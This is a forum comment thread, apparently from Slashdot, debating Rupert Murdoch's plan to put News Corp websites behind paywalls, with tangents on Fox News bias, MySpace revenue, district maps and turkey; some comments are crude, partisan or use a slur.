So Murdoch is now attempting to expand out of his traditional markets. Is it going to work? Why assume it is? When his brilliant idea is "take the same shit, put up a pay wall and pray people don't just go to free online news sources instead!" I don't think it's unfair or goofy to question his judgment. Goofy is thinking people will click the Fox News link on Google News, see a pay wall, sign up and shell over the cash, in order to read the exact same fucking AP feed article the person could have gotten for free by clicking the next link down.

Re:And let it rain

[ynohoo]

there's a big difference between respectable conservative/republican biased news reporting and commentary and the hate, bile and half-truths spewed by FoxNews. If it weren't for its rabid fans I would have assumed it was parody.

Re:This is a good thing

[sumdumass]

I understand what you are saying but I caution that situations like your home town district is also the result of random distribution and it may be impossible to otherwise shape the district because of population constrains.

I wish I could find the site which used the mathematical modeling. They ended up with a bunch of maps looking just like your district which was a result of attempting to keep the districts contiguous instead of breaking them up with gaps all over the place. Now I'm not saying that your situation isn't the result of political manipulation but sometimes if is very hard to avoid the appearance. Especially when you start getting into more rural communities with a less population density.

Re:This is a good thing

[ae1294]

I would say Obama is more of a Canadian type Socialist.

You totally missed the point of my original post.

I don't care if you are a dem or a repub, socialist, communist, anarchist or neonazi. It's not a US vs THEM game. We are all in this together and we will all Epic Win or FAIL together regardless of who's fault it is!

Re:Mr Godwin is calling...

[ae1294]

he wants to talk to you about that last sentence.

That's totally cool with me. Believe it or not I was not trolling. The discussion had degraded into a US vs THEM tit for tat argument that has no purpose other than to defect from the issues at hand. Once this happens it is required to say something shocking quickly to try and wake people up that they have fallen into the same quicksand that has pulled the US down for as long as I've been alive.

Brings new meaning to red and blue states

[tepples]

Americans don't say "grey". We fought a war.

Find the quote marks.

Perhaps a better analogy isn't "shades of grey" as much as color vs. grayscale.

And why is it any more sensible to assume that political opinions can only come in Black, White or (sic) Grey? What's wrong with Magenta? Or Orange? Or Midnight Blue?

Exactly my point. But how would one map the colors such that "red" points to the US Republican platform and "blue" to the US Democratic platform?

Better?

[professorguy]

it cumulatively helps you understand how the world works, making you a better person

If you define 'better person' as one who is happy, well adjusted and is nice to and trusting of others, then I doubt it. I'm pretty sure the more news you consume, the 'worse' you become.

If you define 'better person' as one who does critical analysis before casting a vote to improve society, then you may be right. However, I contend few people define 'better' in this way.

I mean, who would YOU rather hang out with?

Re:Better?

[Mandrel]

If you define 'better person' as one who is happy, well adjusted and is nice to and trusting of others, then I doubt it. I'm pretty sure the more news you consume, the 'worse' you become.

If you define 'better person' as one who does critical analysis before casting a vote to improve society, then you may be right. However, I contend few people define 'better' in this way.

I mean, who would YOU rather hang out with?

Unfortunately, trusting blissful ignorance only gets you used and run over by the real world. And while it's true that knowledge and experience gradually beats the idealism and optimism out of you, it's right to fight cynicism. That is, you should use your wisdom for good rather than evil.

I like to hang out with a well-read person who uses this knowledge to take approprate risks, not a naive polyanna. Often ignorance leads to superstition, which can make one more closed and prejudiced.

Britney Spears will.

[leftie]

FoxNews for Britney is like email from friends or family for you or me. FoxNews is still mostly about Britney. Maybe little bit at the end about American Idol.

Yeah, just like his MySpace acquisition?

[tjstork]

Murdoch bought MySpace in 2005 for $580 million...I wouldn't put any money into Murdoch's internet instincts.

You, my friend, need to separate money from buzz.
I'd be happy if my web site made what myspace makes today, and I'd bet you'd be happy if your web site made what myspace makes today too.

And the fact is, since Murdoch bought myspace in 2005 for about 600 million, he's gotten nearly a billion from Google for advertising, plus even this year he's still picking up about 500M in revenue. Myspace may not be as "hip" as facebook, but its still making a good chunk of change.

Media Empire Post Mortem

[flyneye]

Behold, the death of another business, due to inflexibility ,ignorance ,greed and refusal to evolve.
I swear, the attitude that you can beat the world into submission rather than the attitude " be like water and take the shape of the glass" is the undoing of all these erstwhile "citizen Kanes". One would think that someone with so much to lose would be smarter than that.
          Oh well, another industry almost as dead as the music industry. We have only to gain from what follows.

Re:As opposed to sheep reading left wing echo?

[mister_dave]

I remember seeing an exit poll for the 2005 general election sorted by newspaper, as I recall The Times reader profile almost perfectly matched the election result, while The Sun readership had a marked Labour bias. People who label Mr Murdock's (UK) newspapers 'right wing' forget his papers are run as businesses, not propaganda sheets, they follow public opinion. Shane Richmond of The Telegraph suggests a possible motive for this move:

Perhaps Murdoch is simply quitting a game that heâ(TM)s losing. The Telegraph, The Guardian and The Daily Mail have consistently dominated the UK ABCes [website traffic]. Why not play a different game altogether?

In the long run The Times website is a likely winner. The Telegraph is loaded down with debt, and The Guardian is losing too much money for even the Scott Trust to support for long.

Re:As opposed to sheep reading left wing echo?

[tjstork]

I prefer Robert Lund's parody: "It doesn't really matter if my turkey meat is dark or white..." ... but I'm not really sure how this relates to the topic. I think we're three or four metaphor-steps away from TFA's topic, by now.

Well, whatever kind of turkey you prefer to tends go with the gravy and the manner the turkey is cooked. If the turkey is baked, and there is no gravy, I tend to prefer the dark meat because the white is too dry. If the turkey is fried, or there is ample gravy, then I tend to like the white, because its better for sandwiches, either open faced or not.

Hmmm. not sure how that relates to politics, metaphorically... I kinda am lost now... but I could go for some turkey.

Re:As opposed to sheep reading left wing echo?

[tjstork]

Only the Sith deal in absolutes

But is it absolutely every Sith? To some extent too, if the Jedi did not have an absolute vow of not being attached, they might have been able to better sense the growing problems in Anakin and gotten professional help for him before it was too late. Probably would have made for a better Star Wars prequel if Palpatine had known about the affair with Amidala.. but the writing was choppy in those three, suffering from too much overwork.

Re:As opposed to sheep reading left wing echo?

[HeronBlademaster]

... *orders a turkey sandwich for lunch*

He's right

[howlingmad]

This guy knows what he's talking about. They will not charge for everything, but certainly for 'premium' content. Whatever that is.

The New Media would be just like the Old Media

[GameboyRMH]

Even if the Old Media died off, people would still want their infotainment snippets, celebrity gossip, etc.

The Old Media is giving people exactly what they want. Insight is bias, analysis is boring, research is for nerds and the public doesn't care about that nerdy stuff. Ask any Average Joe if they see a problem with the news, few will (and most who do will say "because it has a lib'rul bias!"), most love it and are absolutely riveted.

"Ooh a small plane crashed somewhere! Explosions! Russians subs on the same side of the planet as the US, will there be war!?!? ZOMG HAX, Twitter is down, is nothing sacred to these awful scary hackers!?!? Dead celebrity! What was in his bloodstream, TELL ME, I'LL GLUE MY FUCKING FACE TO THE SCREEN UNTIL I GET EVERY DETAIL!!!"

Re:Godwined or Grimmed?

[Chris Burke]

When I read that, I didn't think of Nazis, I thought of what Hansel and Gretel did to that poor witch!

corporatism is not a democracy

[dust4ngel]

newspapers are important because democratic dialogue is important. but democratic dialogue is not a one-way broadcast from well-funded corporations to a passive citizenry with no venue to discuss or refute what is being broadcast. democracy is participatory; corporate-run news media are not. so to everyone who is waving an american flag to arouse public sympathy for these information monopolies - nigga please.

Some will pay

[nurb432]

But will it be enough to keep them out of bankruptcy as they piss off the other 98% of the world?

This is not a stupid move.

[jeko]

Rupert Murdoch is well aware that people who watch FOX news will buy anything.

Don't Worry, Fox News is safe

[ljhiller]

The primary purpose of Fox News is to manipulate the electorate to the greatest extent possible. You can't do that behind a paywall. Murdoch's other properties will subsidize it so you'll always have your O'Reilly.

Re:This is a good thing

[mdielmann]

Because a sheep-like mentality is limited to the right wing only?

The absolute worst thing anybody can do is dehumanize their opposition by calling them sheep or assume that they're not intelligent.

Oh, they aren't really opposition.

Volunteer Fire Brigade

[Merdalors]

The volunteer fire brigade is no longer necessary?

Not so. In rural communities, the tax burden of a paid fire department would be unaffordable. The volunteer fire brigade is a vital and respected part of the community.

jw

[jward52]

NFW do I watch fox news and their biased baloney. I certainly won't pay for it! Bye bye, Rupert!!

Honestly? Whos ganna pay for news...

[tariqc]

News is free on TV? Why can't it be free on the Internet. If they ask for money they will lose over 50% of their current readers. There are many, many other sources that are free, and frankly its not that important. My life goes on the same whether I know whats going on in the world or not.

re: bye, bye

[ed.han]

actually: you are artificially--and incorrectly--limiting the scope of news corp's holdings to print journalism, when that's far true. ever heard of a small media outlet known as fox"news"? which, incidentally, has its own website? :>

Great News

[akayani]

So what he is saying is that they will charge people who are brainless for articles available elsewhere? But what he doesn't say is how they will be charged. And very likely if you have a newspaper account you will get access to that paper for free.

He's saying News run a hopeless online classified business. He's saying 'we are a greedy bunch of corporate take-over merchants who have no place in the modern world'. He's saying News is only for those that can afford it.

We are talking about a lot of sites here. News is a major magazine publisher. They would not be making such an announcement if there wasn't research and a 'great' plan behind it. They rely on those sites for consumer feedback.

The question is "do News underestimate the internet or do we underestimate News?"

The Puppetmaster isn't a programmer...

[Benfea]

...he's a program! Sorry, had to join in the fun.

Thanks for the laugh

[Benfea]

The old argument "Oh yeah? Well, the rest of the media is just as biased and incorrect in the opposite direction" only works if you ignore the total lack of journalistic credibility by FOX News. They recently went into a court case and argued that it was their constitutional right to fire journalists for refusing to lie. It never ceases to amaze me that there are still people in this world who take FOX News seriously.

Hell, FOX "News" pioneered the main tactics for producing a news show without having to hire all those pesky expensive journalists. Sadly, many of these tactics have been adopted by the other two major "news" cable channels, which is just one more reason to never use cable news of any sort as your primary source for information.